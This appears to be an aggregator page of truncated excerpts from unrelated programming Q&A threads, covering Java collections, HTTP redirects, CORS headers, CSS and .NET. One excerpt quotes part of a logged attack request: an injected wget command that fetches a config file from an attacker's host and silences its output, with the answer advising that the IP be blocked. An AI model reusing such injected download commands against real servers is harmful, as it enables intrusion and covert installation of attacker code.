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How should I use git diff for long lines?
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Nakilon
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answered Jun 24 '10 at 6:58
someone45someo...
Difference between HashMap, LinkedHashMap and TreeMap
...text of the Java API,
Hashtable is an obsolete class from the days of Java 1.1 before the collections framework existed. It should not be used anymore, because its API is cluttered with obsolete methods that duplicate functionality, and its methods are synchronized (which can decrease performance an...
What is /dev/null 2>&1?
...+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and foremost preventive step is block the IP in firewall as well as pattern of such IPs. Attack was to redirect o...
Preventing form resubmission
...2)
Under the hood
Redirect status code - HTTP 1.0 with HTTP 302 or HTTP 1.1 with HTTP 303
An HTTP response with redirect status code will additionally provide a URL in the location header field. The user agent (e.g. a web browser) is invited by a response with this code to make a second, otherw...
Most Useful Attributes [closed]
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posted list is for .net 1.1 here is the list for 3.5 msdn.microsoft.com/en-us/library/system.attribute.aspx (You have to scroll down a little)
– kay.one
Jun 30 '09 at 6:56
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jQuery AJAX cross domain
...nse of "hello!".
Here is an example of the headers it might return:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Type: text/html; charset=utf-8
X-Ua-Compatible: IE=Edge
Etag: "c4ca4238a0b923820dcc509a6f75849b"
X-Runtime: 0.91...
Excel RTD(Excel Real-Time Data)实时刷新数据技术 - C/C++ - 清泛网 - 专注C/C++及内核技术
...收盘价格的基础上加了一个Random来演示实时变化。这个在下载的代码中您可以看到。这里不多讲。定义好这些变量之后我们就可以开始编写代码了。
第一个要实现的方法是 ServerStart方法。在该方法中，我们将CallbackObject对象...
Removing rounded corners from a element in Chrome/Webkit
...: 0px;
background-image: url("data:image/svg+xml;utf8,<svg version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='24' height='24' viewBox='0 0 24 24'><path fill='%23444' d='M7.406 7.828l4.594 4.594 4.594-4.594 1.406 1.406-6 6-6-6z'></pat...
How to use GROUP BY to concatenate strings in SQL Server?
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Kannan KandasamyKannan Kandasamy
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What is the difference between String.Empty and “” (empty string)?
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The previous answers were correct for .NET 1.1 (look at the date of the post they linked: 2003). As of .NET 2.0 and later, there is essentially no difference. The JIT will end up referencing the same object on the heap anyhow.
According to the C# specification, sec...